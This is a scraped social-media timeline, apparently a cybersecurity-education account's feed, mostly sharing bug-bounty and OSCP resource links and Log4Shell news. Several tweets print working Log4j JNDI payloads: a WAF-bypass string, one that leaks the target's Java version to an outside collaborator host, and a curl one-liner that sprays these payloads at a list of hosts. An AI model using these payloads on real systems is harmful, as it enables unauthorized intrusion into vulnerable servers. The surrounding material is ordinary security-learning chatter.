Cyber._.learn

Quality Content Cyber sec education page 💻
| for education purpose only🃏📚
| Be Hacker to make world a safer place 🌎
| Instagram : 👇👇

[Tushar Verma 🇮🇳 @e11i0t_4lders0n]

Learn Broken Access Control for Bug Bounty with these resources

https://t.co/WrscxAiUMW

https://t.co/USaPBWxrBN

https://t.co/EayQEIo5IM

https://t.co/wmRqVzE6xk

https://t.co/EEyxECy8v4

https://t.co/U6cwwtiKMM

https://t.co/dYM2FD97dJ

#bugbounty #bugbountytip #bugbountytips

[Manas @ManasH4rsh]

Why I find it so awesome!

https://t.co/jv32J2iVYD

[Cyber._.learn @Cyberlearn4]

@ManasH4rsh Go & Rust(may be) 😅

[Sachin Pandey @sachin_pandey98]

I'm starting with web3, so I need your help please share some resources?

Thanks in advance!
#cybersecurity #bugbounty

[Nicolas Krassas @Dinosn]

Malware Analysis Cheatsheet https://t.co/q74NbmjLLh

[Cyber._.learn @Cyberlearn4]

@ManasH4rsh @MaltegoHQ SQLmap

[Cyber._.learn @Cyberlearn4]

@ManasH4rsh 2.16.0 out with jndi removed

[blasty @bl4sty]

Oh my god, this stuff is absolutely brutal. RCE on Apple, Tencent, Steam, Twitter. https://t.co/bKLEPTqxvB

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

Log4j Cloudflare bypass :
${jndi:dns://aeutbj.example.com/ext}
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/

other WAF :

[Rayhan0x01 @Rayhan0x01]

Want to know the Java version running on the target?
${jndi:ldap://${sys:java.version}.collaborator.com}
List of other available system properties:
#log4j #log4shell

[Tim McGuffin @NotMedic]

DNS lookups are cool and all, but this is what you'll need to turn CVE-2021-44228 into RCE:
https://t.co/ejc6u6PRfW

[Cyber._.learn @Cyberlearn4]

@NaiduPonnana @king_peleus @offsectraining @_LalithKumar010 @0xTib3rius Also @TCMSecurity course is amazing for priv esc. Try it

[Dr. Rohit Gautam @aslicyberguy]

CVE 2021-44228🔥

One Liner ✅
cat 1.txt | while read host do; do curl -sk --insecure --path-as-is "$host/?test=${jndi:ldap://log4j.requestcatcher.com/a}" -H "X-Api-Version: ${jndi:ldap://log4j.requestcatcher.com/a}" -H "User-Agent: ${jndi:ldap://log4j.requestcatcher.com/a}";done

[Sam @__Sam0_0]

LOG4J DETECTOR,
Let's find it together 🌻.
Just run it with your subdomain list.

#log4j #Java #bugbounty #infosec

https://t.co/s5z41mEn8i

[Security BSides Ahmedabad @bsidesahmedabad]

Another passes giveaway 👇

[Cyber._.learn @Cyberlearn4]

@bsidesahmedabad @ravEmperorEye Would you please invite me to join discord where besides Ahmedabad giveaway will be done? I'm from Ahmedabad and i really want to attend I would not able to purchase tickets as my exam of university is not scheduled. If you could help me that would be great

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

OSCP enum cheat sheet I am making, is this format good or should I change or add anything?

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

Resource to help amazing hackers like you <3
https://t.co/4awxq3O4rr

https://t.co/OZh7P3iely

https://t.co/W2pyRopC2e

[Anubhav Singh🇮🇳 @AnubhavSingh_]

Awesome repo to learn Javascript created by @Asabeneh

https://t.co/dCsnnFNN0u

#bugbounty #infosec #javascript #javascript30 #programmers

[Aditya | アディティヤ @namedaditya]

A Big Curated List Of Resources For OSCP Prepration

A thread 🚨 👇

#infosec #cybersecurity
#bugbounty #oscp @offsectraining